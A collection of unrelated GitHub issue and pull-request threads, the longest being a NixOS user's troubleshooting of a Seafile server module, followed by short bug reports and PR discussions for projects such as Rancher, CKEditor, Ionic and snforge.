     Active: failed (Result: exit-code) since Thu 2024-10-31 16:57:52 CET; 237ms ago
    Process: 101722 ExecStartPre=/nix/store/raqv80n05afz6jsphdyn21a34cg4xcfd-unit-script-seaf-server-pre-start/bin/seaf-server-pre-start (code=exited, status=1/FAILURE)

Okt 31 16:57:52 berlin systemd[1]: Starting Seafile server...
Okt 31 16:57:52 berlin seaf-server-pre-start[101722]: Unsupported upgrade
Okt 31 16:57:52 berlin systemd[1]: seaf-server.service: Control process exited, code=exited, status=1/FAILURE
Okt 31 16:57:52 berlin systemd[1]: seaf-server.service: Failed with result 'exit-code'.
Okt 31 16:57:52 berlin systemd[1]: Failed to start Seafile server.

Additional context
Using nix-flakes
Notify maintainers
@greizgh
@schmittlauch
@melvyn2
Metadata

 - system: `"x86_64-linux"`
 - host os: `Linux 6.6.57, NixOS, 24.05 (Uakari), 24.05.20241026.cd3e883`
 - multi-user?: `yes`
 - sandbox: `yes`
 - version: `nix-env (Nix) 2.18.8`
 - channels(root): `"nixos-24.05, nixos-unstable"`
 - nixpkgs: `/nix/store/pq1m6x5ilkm3s841g0z0vyrqvmbxc21v-source`

Add a :+1: reaction to issues you find important.

You will need to upgrade the module, not just the package passed to it. You're also passing the seahub derivation where seafile-server is expected I believe.

Thanks for your response! I got help externally, and will drop the fix here.
configuration.nix
  nixpkgs.overlays =
  [(final: prev: {
    seafile = pkgs.unstable.seafile;
  })];

  disabledModules = [ "services/networking/seafile.nix" ];

seafile.nix
{ config, pkgs, inputs, ... } @ args:

let
unstable = inputs.unstable.legacyPackages.${pkgs.system};
in
{
imports = [ "${args.inputs.unstable}/nixos/modules/services/networking/seafile.nix" ];

services.seafile = {
  enable = true;
  seahubPackage = unstable.seahub;
  # ...

This solved my infinite recursion problem. Seafile is still broken, but it at least runs now.

Hey, could someone help me with my Seafile configuration? I've been trying to get it running for 3 months.
I'd love an example configuration if you are running it.
If I get it working, I'd love to write some documentation about options etc.

Hey, could someone help me with my Seafile configuration? I've been trying to get it running for 3 months.
My current configuration is up at

https://github.com/LukaDeka/NixOS/blob/main/modules/seafile.nix

I'd love an example configuration if you are running it.
If I get it working, I'd love to write some documentation about options etc.
@melvyn2
@greizgh

https://gist.github.com/melvyn2/001c282d26bd9b8dfc6f09430043ea28

Thanks for your feedback, but I'm unable to log in with my admin credentials declared in packages/seafile.nix:
    adminEmail = email;
    initialAdminPassword = "password";

I get "Incorrect email or password" every time.
This is the output of journalctl -f, every time I try to login and it fails:
Nov 22 13:27:17 berlin gunicorn[268590]: /nix/store/w2zi0i65bc64rh3kqnnnlglh070pnbr3-seahub-11.0.12/seahub/views/file.py:2039: SyntaxWarning: invalid escape sequence '\('
Nov 22 13:27:17 berlin gunicorn[268590]:   image_file_name = image_file_name.replace('(', '\(')
Nov 22 13:27:17 berlin gunicorn[268590]: /nix/store/w2zi0i65bc64rh3kqnnnlglh070pnbr3-seahub-11.0.12/seahub/views/file.py:2040: SyntaxWarning: invalid escape sequence '\)'
Nov 22 13:27:17 berlin gunicorn[268590]:   image_file_name = image_file_name.replace(')', '\)')
Nov 22 13:27:17 berlin gunicorn[268590]: /nix/store/w2zi0i65bc64rh3kqnnnlglh070pnbr3-seahub-11.0.12/seahub/views/file.py:2043: SyntaxWarning: invalid escape sequence '\?'
Nov 22 13:27:17 berlin gunicorn[268590]:   p = re.compile('(%s)/lib/(%s)/file(.*?)%s\?raw=1' % (serviceURL, repo_id, encoded_image_file_name))
Nov 22 13:27:17 berlin gunicorn[268590]: /nix/store/w2zi0i65bc64rh3kqnnnlglh070pnbr3-seahub-11.0.12/seahub/wiki/utils.py:62: SyntaxWarning: invalid escape sequence '\w'
Nov 22 13:27:17 berlin gunicorn[268590]:   return True if re.match('^[\w\s-]+$', name, re.U) else False
Nov 22 13:27:17 berlin gunicorn[268590]: /nix/store/w2zi0i65bc64rh3kqnnnlglh070pnbr3-seahub-11.0.12/seahub/utils/slugify/__init__.py:23: SyntaxWarning: invalid escape sequence '\s'
Nov 22 13:27:17 berlin gunicorn[268590]:   new = re.sub('[-\s]+', '-', new)
Nov 22 13:27:18 berlin gunicorn[268590]: /nix/store/w2zi0i65bc64rh3kqnnnlglh070pnbr3-seahub-11.0.12/seahub/api2/endpoints/file_tag.py:226: SyntaxWarning: invalid escape sequence '\.'
Nov 22 13:27:18 berlin gunicorn[268590]:   return True if re.match('^[\.\w-]+$', tagname, re.U) else False
Nov 22 13:27:18 berlin gunicorn[268590]: /nix/store/w2zi0i65bc64rh3kqnnnlglh070pnbr3-seahub-11.0.12/seahub/api2/endpoints/revision_tag.py:67: SyntaxWarning: invalid escape sequence '\.'
Nov 22 13:27:18 berlin gunicorn[268590]:   return True if re.match('^[\.\w-]+$', tagname, re.U) else False
Nov 22 13:27:18 berlin gunicorn[268590]: /nix/store/w2zi0i65bc64rh3kqnnnlglh070pnbr3-seahub-11.0.12/thirdpart/registration/views.py:21: SyntaxWarning: invalid escape sequence '\*'
Nov 22 13:27:18 berlin gunicorn[268590]:   """
Nov 22 13:27:18 berlin gunicorn[268590]: /nix/store/w2zi0i65bc64rh3kqnnnlglh070pnbr3-seahub-11.0.12/seahub/avatar/urls.py:8: SyntaxWarning: invalid escape sequence '\d'
Nov 22 13:27:18 berlin gunicorn[268590]:   re_path('^render_primary/(?P<user>[^/]+)/(?P<size>[\d]+)/$', render_primary, name='avatar_render_primary'),

Something Is most likely broken here, right? Or am I missing a configuration step...
I copied your configuration and adjusted it here:

https://github.com/LukaDeka/NixOS/blob/main/packages/seafile.nix

Thanks for your feedback!

Using the initial admin password is tested here:
https://github.com/NixOS/nixpkgs/blob/073099d0f7a1fe42490ba95f7295f78434004197/nixos/tests/seafile.nix#L19
https://hydra.nixos.org/build/279532196/log
As you can see the same SyntaxWarnings appear even as the test succeeded; they aren't the cause of you problem. I can't see anything in your configuration that would break this unfortunately. Could you provide full start-to-stop logs of seahub and seafile-server?

Certainly, I wasn't able to find any relevant info there, though.
[luka@berlin:~/nixos]$ sudo systemctl status seahub.service
● seahub.service - Seafile Server Web Frontend
     Loaded: loaded (/etc/systemd/system/seahub.service; enabled; preset: ignored)
     Active: active (running) since Fri 2024-11-22 20:12:39 CET; 24min ago
 Invocation: ed0355791a4a40cfb4ada6bcfeab63cd
    Process: 1704 ExecStartPre=/nix/store/hrcyasnd4x8rkzqyaylmq7rv1pkvdcqj-unit-script-seahub-pre-start/bin/seahub-pre-start (code=exited, status=0/SUCCESS)
   Main PID: 1724 (.gunicorn-wrapp)
         IP: 0B in, 0B out
         IO: 37.8M read, 0B written
      Tasks: 5 (limit: 9362)
     Memory: 110.8M (peak: 111.6M)
        CPU: 1.885s
     CGroup: /system.slice/seahub.service
             ├─1724 /nix/store/901c80rlps5q05bnjk1sj4zaz5k736nc-python3-3.12.7/bin/python3.12 /nix/store/082vjvvyc4srib0iq38x27yiwnl1dy0g-python3.12-gunicorn-23.0.0/bin/.gunicorn-wrapped seah>
             ├─1751 /nix/store/901c80rlps5q05bnjk1sj4zaz5k736nc-python3-3.12.7/bin/python3.12 /nix/store/082vjvvyc4srib0iq38x27yiwnl1dy0g-python3.12-gunicorn-23.0.0/bin/.gunicorn-wrapped seah>
             ├─1752 /nix/store/901c80rlps5q05bnjk1sj4zaz5k736nc-python3-3.12.7/bin/python3.12 /nix/store/082vjvvyc4srib0iq38x27yiwnl1dy0g-python3.12-gunicorn-23.0.0/bin/.gunicorn-wrapped seah>
             ├─1754 /nix/store/901c80rlps5q05bnjk1sj4zaz5k736nc-python3-3.12.7/bin/python3.12 /nix/store/082vjvvyc4srib0iq38x27yiwnl1dy0g-python3.12-gunicorn-23.0.0/bin/.gunicorn-wrapped seah>
             └─1755 /nix/store/901c80rlps5q05bnjk1sj4zaz5k736nc-python3-3.12.7/bin/python3.12 /nix/store/082vjvvyc4srib0iq38x27yiwnl1dy0g-python3.12-gunicorn-23.0.0/bin/.gunicorn-wrapped seah>

Nov 22 20:12:40 berlin gunicorn[1724]:   change_re = re.compile('(\++|\-+|\^+)')
Nov 22 20:12:41 berlin gunicorn[1724]: /nix/store/w2zi0i65bc64rh3kqnnnlglh070pnbr3-seahub-11.0.12/seahub/group/utils.py:33: SyntaxWarning: invalid escape sequence '\w'
Nov 22 20:12:41 berlin gunicorn[1724]:   return re.match('^[()（）\w\s\'\.-]+$', group_name, re.U)
Nov 22 20:12:41 berlin gunicorn[1724]: [2024-11-22 19:12:41 +0000] [1724] [INFO] Starting gunicorn 23.0.0
Nov 22 20:12:41 berlin gunicorn[1724]: [2024-11-22 19:12:41 +0000] [1724] [INFO] Listening at: unix:/run/seahub/gunicorn.sock (1724)
Nov 22 20:12:41 berlin gunicorn[1724]: [2024-11-22 19:12:41 +0000] [1724] [INFO] Using worker: sync
Nov 22 20:12:41 berlin gunicorn[1751]: [2024-11-22 19:12:41 +0000] [1751] [INFO] Booting worker with pid: 1751
Nov 22 20:12:41 berlin gunicorn[1752]: [2024-11-22 19:12:41 +0000] [1752] [INFO] Booting worker with pid: 1752
Nov 22 20:12:41 berlin gunicorn[1754]: [2024-11-22 19:12:41 +0000] [1754] [INFO] Booting worker with pid: 1754
Nov 22 20:12:41 berlin gunicorn[1755]: [2024-11-22 19:12:41 +0000] [1755] [INFO] Booting worker with pid: 1755

[luka@berlin:~/nixos]$ sudo systemctl status seaf-server.service
● seaf-server.service - Seafile server
     Loaded: loaded (/etc/systemd/system/seaf-server.service; enabled; preset: ignored)
     Active: active (running) since Fri 2024-11-22 20:12:39 CET; 24min ago
 Invocation: 4984177bd8c4417f96ec601e58d3b422
    Process: 1640 ExecStartPre=/nix/store/s7m9qmrimhawqiji2v3ng1dq80j2irsm-unit-script-seaf-server-pre-start/bin/seaf-server-pre-start (code=exited, status=0/SUCCESS)
    Process: 1657 ExecStartPost=/nix/store/xzfbyplsyhwz518h5nqsyb2c9anqhspy-unit-script-seaf-server-post-start/bin/seaf-server-post-start (code=exited, status=0/SUCCESS)
   Main PID: 1656 (seaf-server)
         IP: 0B in, 0B out
         IO: 3M read, 4K written
      Tasks: 18 (limit: 9362)
     Memory: 6M (peak: 7.6M)
        CPU: 335ms
     CGroup: /system.slice/seaf-server.service
             └─1656 /nix/store/f7w9jbm51ay4l2gyjzgdmsz9l1nf757x-seafile-server-11.0.12/bin/seaf-server --foreground -F /etc/seafile -c /var/lib/seafile/ccnet -d /var/lib/seafile/data -l /var/>

Nov 22 20:12:37 berlin systemd[1]: Starting Seafile server...
Nov 22 20:12:39 berlin systemd[1]: Started Seafile server.

/var/log/seafile/server.log and /var/log/seafile/seahub.log should have more information.

Nothing there, so: can you see if the initial logs for the password creation are present in journalctl --unit seahub.service? It should be present under the list of migrations applied.

Thanks for the response, I have a few months of logs there. I changed the password and rebuilt it, these are the new logs:
Nov 22 20:50:36 berlin systemd[1]: Stopping Seafile Server Web Frontend...
Nov 22 20:50:36 berlin gunicorn[1751]: [2024-11-22 19:50:36 +0000] [1751] [INFO] Worker exiting (pid: 1751)
Nov 22 20:50:36 berlin gunicorn[1752]: [2024-11-22 19:50:36 +0000] [1752] [INFO] Worker exiting (pid: 1752)
Nov 22 20:50:36 berlin gunicorn[1755]: [2024-11-22 19:50:36 +0000] [1755] [INFO] Worker exiting (pid: 1755)
Nov 22 20:50:36 berlin gunicorn[1724]: [2024-11-22 19:50:36 +0000] [1724] [INFO] Shutting down: Master
Nov 22 20:50:37 berlin systemd[1]: seahub.service: Deactivated successfully.
Nov 22 20:50:37 berlin systemd[1]: Stopped Seafile Server Web Frontend.
Nov 22 20:50:37 berlin systemd[1]: seahub.service: Consumed 3.496s CPU time, 298.5M memory peak, 38.1M read from disk.
Nov 22 20:50:38 berlin systemd[1]: Starting Seafile Server Web Frontend...
Nov 22 20:50:38 berlin systemd[1]: Started Seafile Server Web Frontend.
Nov 22 20:50:39 berlin gunicorn[5117]: /nix/store/w2zi0i65bc64rh3kqnnnlglh070pnbr3-seahub-11.0.12/seahub/settings.py:915: SyntaxWarning: invalid escape sequence '\w'
Nov 22 20:50:39 berlin gunicorn[5117]:   match = re.search('^EXTRA_(\w+)', attr)
Nov 22 20:50:39 berlin gunicorn[5117]: /nix/store/w2zi0i65bc64rh3kqnnnlglh070pnbr3-seahub-11.0.12/seahub/utils/htmldiff.py:1383: SyntaxWarning: invalid escape sequence '\+'
Nov 22 20:50:39 berlin gunicorn[5117]:   change_re = re.compile('(\++|\-+|\^+)')
Nov 22 20:50:40 berlin gunicorn[5117]: /nix/store/w2zi0i65bc64rh3kqnnnlglh070pnbr3-seahub-11.0.12/seahub/group/utils.py:33: SyntaxWarning: invalid escape sequence '\w'
Nov 22 20:50:40 berlin gunicorn[5117]:   return re.match('^[()（）\w\s\'\.-]+$', group_name, re.U)
Nov 22 20:50:40 berlin gunicorn[5117]: [2024-11-22 19:50:40 +0000] [5117] [INFO] Starting gunicorn 23.0.0
Nov 22 20:50:40 berlin gunicorn[5117]: [2024-11-22 19:50:40 +0000] [5117] [INFO] Listening at: unix:/run/seahub/gunicorn.sock (5117)
Nov 22 20:50:40 berlin gunicorn[5117]: [2024-11-22 19:50:40 +0000] [5117] [INFO] Using worker: sync
Nov 22 20:50:40 berlin gunicorn[5227]: [2024-11-22 19:50:40 +0000] [5227] [INFO] Booting worker with pid: 5227
Nov 22 20:50:40 berlin gunicorn[5228]: [2024-11-22 19:50:40 +0000] [5228] [INFO] Booting worker with pid: 5228
Nov 22 20:50:40 berlin gunicorn[5235]: [2024-11-22 19:50:40 +0000] [5235] [INFO] Booting worker with pid: 5235
Nov 22 20:50:40 berlin gunicorn[5237]: [2024-11-22 19:50:40 +0000] [5237] [INFO] Booting worker with pid: 5237

Okt 17 08:22:54 berlin seahub-pre-start[3548]: Apply all migrations: abuse_reports, admin_log, api2, auth, avatar, base, captcha, contacts, contenttypes, database, django_cas_ng, drafts...

I couldn't find password here though...

The initial password is only set when the server is first initialized. If you want it to be set, either delete your existing seafile data to cause a new setup, or run the management CLI manually like the module does:
https://github.com/NixOS/nixpkgs/blob/073099d0f7a1fe42490ba95f7295f78434004197/nixos/modules/services/networking/seafile.nix#L475

Thank you so much for the help! I deleted /var/lib/seafile/data, removed the config from my imports, rebuilt, re-added it and now I can login. I'll document this afterward.


test: add happy test for gitlabscraper-start function

Happy test added for gitlabscraper-start so it ensures that code is covered and makes sure that nil is returned from the function

No longer needed


Only show fancy loading page when we are submitting verifications

Details
Fixed Issues
$ https://github.com/Expensify/Expensify/issues/180798
Tests / QA Steps

Run through the VBA flow (use PENDING instructions here)
Verify that when we have no bank account yet the loading spinner that displays is not fancy (just regular old spinner)

Advance to the company step and submit
Verify that the loading animation on the next page is fancy

Continue advancing through the steps and verify that each step has a fancy indicator page except the validation step (this should have a regular spinner).

Tested On

[x] Web
[ ] Mobile Web
[ ] Desktop
[ ] iOS
[ ] Android

Screenshots

Web

Mobile Web

Desktop

iOS

Android

Tested this today and it worked like a charm, no interstitial when jumping into the flow, entering routing/account number, or entering validate step info 👍

🚀 Deployed to production by @roryabraham in version: 1.1.8-9 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅


⚠ Jenkins Plugins Artifactory has degraded performance

In 9deeb60, Jenkins Plugins Artifactory (https://get.jenkins.io/plugins/artifactory/) experienced degraded performance:

HTTP code: 200
Response time: 1325 ms

Resolved: Jenkins Plugins Artifactory performance has improved in 2187092 after 31 minutes.


'未输入该命令，jupyternotebook会被视作无效命令'

直接打jupyter notebook并没有用

Job d2l-zh/PR-1086/1 is complete.
Check the results at http://preview.d2l.ai/d2l-zh/PR-1086/

Thanks. This explains general use case of Juputer notebooks, which does not necessarily needs any env.


Smoothed Crouching make player a rat

After enable option Smoothed Crouching (Vanilla) my player is becomes knee-level of sight, and cursor not looking of actual block player looks.

Log: https://mclo.gs/C7ZnKPd

This is Enigmatica 2: Expert - Extended modpack. To reproduce issue you need to disable this two options and enable one in RLMixins config.

Figured it out, the conflicting mod is Aqua Acrobatics.
RLMixins, RandomPatches, and Aqua Acrobatics all implement the same "Smooth Crouch" tweak.
RLMixins and RandomPatches both let you enable/disable the tweak, however Aqua Acrobatics only disables its tweak if RandomPatches is installed.
As such, handling of the "Smooth Crouch" tweak should be deferred to Random Patches and Aqua Acrobatics if installed;
RLMixins and RandomPatches -> Use whichever tweak
RLMixins and Aqua Acrobatics -> Use Aqua Acrobatics tweak
RandomPatches and Aqua Acrobatics -> Use RandomPatches tweak
All three -> Use RandomPatches tweak
I believe all 3 tweaks functions essentially the same in terms of in game appearance.
As it is a duplicated tweak and not two different tweaks conflicting, I have no real plans to "fix" this, however I do plan with the next overhaul version to add logging for known conflicting mod options to warn about situations such as this.


Check for Email

Add a function which would check for a valid email address.

you can assign this to me. @sakshi2912 would love to contribute

you can assign this to me. @sakshi2912 would love to contribute

Sure, go ahead

When you say valid you just mean that the function does string comparisons to check whether the email is properly formatted, right?
If so can I be assigned this issue.

When you say valid you just mean that the function does string comparisons to check whether the email is properly formatted, right?
If so can I be assigned this issue.

Yes, and an empty string for email should also be accepted.

Yes, and an empty string for email should also be accepted.
Okie-doke.
I'll try my best.

Are PRs still being accepted for this issue?

Are PRs still being accepted for this issue?
edit: was considering using the POSIX regex.h library for easier validation.

I'll reopen the issue, you can go ahead and work on it!

Thank you

hey @sakshi2912 can i work on this

hey @sakshi2912 can i work on this

Sure, go ahead

Hi, I had a doubt
In terms of platform compatibility, what are we looking for? It appears that we need to install the regex library in question separately on windows to be able to build this project, if the regex validator were added. I have no problem implementing it, but we might lose out on cross-platform compatiblity if it were to be implemented.
I leave the choice to the maintainers.

Hi, I had a doubt
In terms of platform compatibility, what are we looking for? It appears that we need to install the regex library in question separately on windows to be able to build this project, if the regex validator were added. I have no problem implementing it, but we might lose out on cross-platform compatiblity if it were to be implemented.
I leave the choice to the maintainers.

You can consider implementing it on Linux for now.
You can bring up another issue for the platform compatibility.


[FEATURE REQ] EventHubs receiver is not traced

Event Hub receive calls tracing is not supproted. In case the consumer does not use the processor, it makes receiving messages untraceable.
Receiver needs to be instrumented

it should contain links to received messages (which need delayed span start)
callback-based APIs should be instrumented similar to the processor

Related: #26269


home page design

Graphic design of the home page, the site menu and various web pages.
Iteration 1

Checked


Update apply-to-github-education-as-a-student.md

Why:
It looks like there was a UI update to the profile menu on the GitHub Education page. In addition to the textual changes, I am also going to include a new screenshot image with the updated menu option.
Closes: https://github.com/github/docs/issues/35073

What's being changed (if available, include any code snippets, screenshots, or gifs):

Check off the following:

[ ] A subject matter expert (SME) has reviewed the technical accuracy of the content in this PR. In most cases, the author can be the SME. Open source contributions may require a SME review from GitHub staff.
[ ] The changes in this PR meet the docs fundamentals that are required for all content.
[ ] All CI checks are passing.

I created a private Imgur link for the updated screenshot image: https://imgur.com/9sEclaY

@Dusch4593 Thanks so much for opening a PR with this update! I'll update the branch and get this merged once tests are passing 🍏

@Dusch4593 Thank you so much for opening a PR with this update! Changes look perfect 💛 Once the screenshot has been updated, let me know and I'll get this merged!

@nguyenalex836
I'll be able to make that change by tomorrow AM 😌


fix: remove log line

Closes: #XXX
What is the purpose of the change
Learned today that we should not have any log lines (at least info log lines) in the export logic. Otherwise, it gets written to the json and messes it up.

@mattverse tbh the entire thing needs to get redone, keeping everything in RAM is silly, and requires us to use like, 128 GB of RAM at times to actually state export without getting OOM.


Error while creating a new ionic v2 project with 'ionic start' cli.

I tried to create a new ionic v2 project using the following command, but it throws error about config.xml (show below).
$ ionic start --v2 --ts --sass --no-cordova --skip-npm myApp blank

One awesome Ionic app coming right up...

Creating Ionic app in folder /Users/testuser/Downloads/sandbox/myApp based on blank project
Downloading: https://github.com/driftyco/ionic2-app-base/archive/typescript.zip
[=============================]  100%  0.0s
Downloading: https://github.com/driftyco/ionic2-starter-blank/archive/typescript.zip
Saving your Ionic app state of platforms and plugins
Saved platform
There was an error saving your current Ionic setup
 Error: ENOENT: no such file or directory, open '/Users/testuser/Downloads/sandbox/myApp/config.xml'
    at Error (native)
    at Object.fs.openSync (fs.js:584:18)
    at Object.fs.readFileSync (fs.js:431:33)
    at Object.getXmlData (/usr/local/lib/node_modules/ionic/node_modules/ionic-app-lib/lib/state.js:287:22)
    at Object.saveExistingPlugins (/usr/local/lib/node_modules/ionic/node_modules/ionic-app-lib/lib/state.js:159:29)
    at Object.saveState (/usr/local/lib/node_modules/ionic/node_modules/ionic-app-lib/lib/state.js:72:11)
    at Object.Start.finalize (/usr/local/lib/node_modules/ionic/node_modules/ionic-app-lib/lib/start.js:1108:9)
    at /usr/local/lib/node_modules/ionic/node_modules/ionic-app-lib/lib/start.js:143:18
    at _fulfilled (/usr/local/lib/node_modules/ionic/node_modules/q/q.js:787:54)
    at self.promiseDispatch.done (/usr/local/lib/node_modules/ionic/node_modules/q/q.js:816:30)

♬ ♫ ♬ ♫  Your Ionic app is ready to go! ♬ ♫ ♬ ♫

Make sure to cd into your new app directory:
  cd myApp

To run your app in the browser (great for initial development):
  ionic serve

To run on iOS:
  ionic run ios

To run on Android:
  ionic run android

To test your app on a device easily, try Ionic View:
  http://view.ionic.io

Create an Ionic Platform account to add these features to your app?
(Y/n): n

New to Ionic? Get started here: http://ionicframework.com/docs/v2/getting-started

$

This should be fixed in the latest beta, but please let me know if you're still having issues, thanks!


Adding support for Nx 12

Adding an additional dependency required to support Nx 12 and the updated version of the build tooling

A developer build has not yet been created for this branch. Click here to go ahead and create the build...

CI Build Link:
https://jenkins.swinfra.net/job/SEPG/job/UXAspects/job/UXAspects~buildenv-node12-image~nx-12-support~CI


Added a few lines of German translations

@Dakicka Dakicka could you sign our CLA so we can accept your PR?

Travis's error is not related to the changes. Everything is great. Thanks!


found duplicate packages named build_fails v0.1.0`

Which component is your bug related to?
Forge
Foundry Version
0.4.1
What operating system are you using?
Linux
What system architecture are you using?
x86
What happened
Running snforge on code that doesn't compile produces this output. Note the two found locations for the package are the same.

    Updating git repository https://github.com/foundry-rs/starknet-foundry
warn: found duplicate packages named `build_fails v0.1.0 (git+https://github.com/foundry-rs/starknet-foundry.git?tag=v0.4.1)`

Found locations:
- git+https://github.com/foundry-rs/starknet-foundry.git?tag=v0.4.1
- git+https://github.com/foundry-rs/starknet-foundry.git?tag=v0.4.1

Because of this, referencing package `build_fails v0.1.0 (git+https://github.com/foundry-rs/starknet-foundry.git?tag=v0.4.1)` will fail.

warn: found duplicate packages named `build_fails v0.1.0 (git+https://github.com/foundry-rs/starknet-foundry.git?tag=v0.4.1)`

Found locations:
- git+https://github.com/foundry-rs/starknet-foundry.git?tag=v0.4.1
- git+https://github.com/foundry-rs/starknet-foundry.git?tag=v0.4.1

Because of this, referencing package `build_fails v0.1.0 (git+https://github.com/foundry-rs/starknet-foundry.git?tag=v0.4.1)` will fail.

warn: found duplicate packages named `constructor_with_params v0.1.0 (git+https://github.com/foundry-rs/starknet-foundry.git?tag=v0.4.1)`

Found locations:
- git+https://github.com/foundry-rs/starknet-foundry.git?tag=v0.4.1
- git+https://github.com/foundry-rs/starknet-foundry.git?tag=v0.4.1

Because of this, referencing package `constructor_with_params v0.1.0 (git+https://github.com/foundry-rs/starknet-foundry.git?tag=v0.4.1)` will fail.

warn: found duplicate packages named `map v0.1.0 (git+https://github.com/foundry-rs/starknet-foundry.git?tag=v0.4.1)`

Found locations:
- git+https://github.com/foundry-rs/starknet-foundry.git?tag=v0.4.1
- git+https://github.com/foundry-rs/starknet-foundry.git?tag=v0.4.1

Because of this, referencing package `map v0.1.0 (git+https://github.com/foundry-rs/starknet-foundry.git?tag=v0.4.1)` will fail.

   Compiling foo v0.1.0 (/home/e/r/p/foo/Scarb.toml)
error: Not all trait items are implemented. Missing: 'get_tickets_total'.
 --> lib.cairo:20:10
    impl FooImpl of super::IFoo<ContractState> {
         ^************^

error: could not compile `foo` due to previous error

Trace
No response
Is there an existing issue for this?

[X] I have searched the existing issues and verified no issue exits for this problem.

@eliotstock the messages you got are warnings from scarb, but they shouldn't have an impact of the compilation of your code, it seems like you are missing implementation of trait items. Btw we already fixed the warnings on master.
LMK if you managed to fix it

@piotmag769 I did not manage to fix it. If you're confident this is fixed in master you're welcome to close it. I'll retest when master becomes a release.

@eliotstock the error message should be fixed, but your issue is not related to that. You did not implement get_tickets_total when implementing IFoo<ContractState> trait. Moreover, I think your error comes from scarb build, snforge shouldn't display scarb's output before 0.5.0 (which is planned for today)

@eliotstock feel free to reopen if it the problem still exists


first responder.

How do you assign first responder to the textField?

Hi @MaeseppTarvo
PinCodeTextField becomes the first responder in the case of user interaction event, for example when user taps it.
Or you may call becomeFirstResponder() on your PinCodeTextField instance just like with other UIResponder subclasses.
This behavior may be tested with example project, if you add this lines to viewDidLoad() method of ViewController
DispatchQueue.main.asyncAfter(deadline: .now() + .seconds(3)) {
            self.pinCodeTextField.becomeFirstResponder()
        }

@tkach Hey again. It is not working for some reson. It works with default UITextField but not with this one.


Fix CKEditor options override

When building CKEditor options, we have up to 3 option sets:

the default options, defined in the getEditorInitJSFunction method (let's call them $defaultOptions)
dynamically-defined options, passed to the getEditorInitJSFunction as an argument (let's call them $dynamicOptions)
custom options defined in the editor.ckeditor4.toolbar_groups configuration key (let's call them $customOptions)

At the moment, the final option list is built with a code this:
$options = array_merge(
    array_merge(
        $dynamicOptions,
        $defaultOptions,
    ),
    $customConfigOptions
);

which can be written as
$options = $customConfigOptions + $defaultOptions + $dynamicOptions;

that means that the precedence order (from hight to low) is

$customConfigOptions
$defaultOptions
$dynamicOptions

IMHO it should be

$dynamicOptions
$customOptions
$defaultOptions

that is,
$options = $dynamicOptions + $customOptions + $defaultOptions;

👍


rancher removes wrong node when pool contains more than 10 nodes

What kind of request is this (question/bug/enhancement/feature request):
bug
Steps to reproduce (least amount of steps as possible):
create node pool with 10 nodes
click the minus - on the UI to remove a node
Result:
node 9 is removed -- I expected node 10 to be removed
Other details that may be helpful:
appears to be a sorting issue where the last node, sorted alphanumerically, is removed instead of the last node number
Environment information

Rancher version (rancher/rancher/rancher/server image tag or shown bottom left in the UI): v2.1.8
Installation option (single install/HA): HA

Cluster information

Cluster type (Hosted/Infrastructure Provider/Custom/Imported): vSphere
Machine type (cloud/VM/metal) and specifications (CPU/memory): VM (any spec)
Kubernetes version (use kubectl version): 1.12.7
Docker version (use docker version): 18.06.1

Version - 2.2.x master
Was able to reproduce.  We should always remove the last node added if they select the -.

rancher/rancher:master-head-linux-amd64 a341755f

Create a cluster

Worker nodepool has 9 nodes

Scale up nodepool to 10 nodes
After node provisions, scale down
Most recently added node (10) is removed


refactor(parser): small efficiencies in byte_search macro usage

A few small efficiencies in usage of byte_search macro for lexing comments.

[!WARNING]
This pull request is not mergeable via GitHub because a downstack PR is open. Once all requirements are satisfied, merge this PR as a stack on Graphite.
Learn more

Current dependencies on/for this PR:

#2554  👈
#2553
#2552
main

This stack of pull requests is managed by Graphite.

Merge activity

Mar 1, 8:07 AM EST: @Boshen started a stack merge that includes this pull request via Graphite.


Added Visual Studio Community version 16.8.30907.101.

[x] Have you signed the Contributor License Agreement?
[x] Have you checked that there aren't other open pull requests for the same manifest update/change?

Microsoft Reviewers: Open in CodeFlow

/azp run

/azp run


Allow null NetTerms

Addresses issue #155
// some account with billing info
var account = Accounts.Get("e0004e3c-216c-4254-8767-9be605cd0b03");
// any plan
var plan = Plans.Get("bukbu0i2b2");
// make a sub and set collection method to manual
var subscription = new Subscription(account, plan, "USD"); // account, plan, currency
subscription.CollectionMethod = "manual";

// it used to blow up here because NetTerms was not set
subscription.Create();

Console.WriteLine(subscription.Uuid);
Console.WriteLine(subscription.NetTerms);

+1


Changes name of MINIMUM_WINDOW_WIDTH/HEIGHT to DEFAULT_WINDOW_WIDTH/HEIGHT

Branched off #159.
See title.

Rebased

Discovered post merge that this PR broke the build. Reverting changes in PR #181.
The changes here can be reworked and presented in a new PR.


Images not Displaying in Documentation

Images are not included properly from the repository in the documentation.

For some reason the path to the image is: https://oss-slu.github.io/img/rotary_encoder_circuit.png instead of https://github.com/oss-slu/Pi4Micronaut/tree/main/micronautpi4j-utils/src/docs/asciidoc/img.
Possible solution may be setting the image directory: https://docs.asciidoctor.org/asciidoc/latest/macros/images-directory/

Issue Fixed with pull request #110


feat: Add @rest-hooks/react @rest-hooks/redux

Motivation

Solution

Codecov Report

Merging #2270 (8c85fa1) into master (39563e9) will decrease coverage by 0.11%.
The diff coverage is 99.04%.

@@            Coverage Diff             @@
##           master    #2270      +/-   ##
==========================================
- Coverage   98.22%   98.10%   -0.12%
==========================================
  Files         118      117       -1
  Lines        1918     1851      -67
  Branches      285      284       -1
==========================================
- Hits         1884     1816      -68
- Misses         16       17       +1
  Partials       18       18

Impacted Files
Coverage Δ

...ages/core/src/manager/DefaultConnectionListener.ts
100.00% <ø> (ø)

packages/core/src/manager/applyManager.ts
100.00% <ø> (ø)

packages/core/src/manager/index.ts
100.00% <ø> (ø)

...kages/core/src/state/legacy-actions/createFetch.ts
100.00% <ø> (ø)

...ges/core/src/state/legacy-actions/createReceive.ts
100.00% <ø> (ø)

...ore/src/state/legacy-actions/createReceiveError.ts
100.00% <ø> (ø)

packages/core/src/state/legacy-actions/index.ts
100.00% <ø> (ø)

packages/core/src/state/selectMeta.ts
100.00% <ø> (ø)

packages/legacy/src/index.ts
100.00% <ø> (ø)

packages/react/src/components/BackupBoundary.tsx
100.00% <ø> (ø)

... and 55 more

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


prevent closing the tab if spihelper is open

Frequently I accidentally close the tab where I've got spihelper open (and lost a lot of work), so it'd be good if it prompts me for confirmation to close the tab whenever I've got spihelper open.

@L235 if you have the "action" view open (the view that variously has block options, comments, etc.), it should always prompt for confirmation when you close the tab. Is that not the behavior you're seeing?

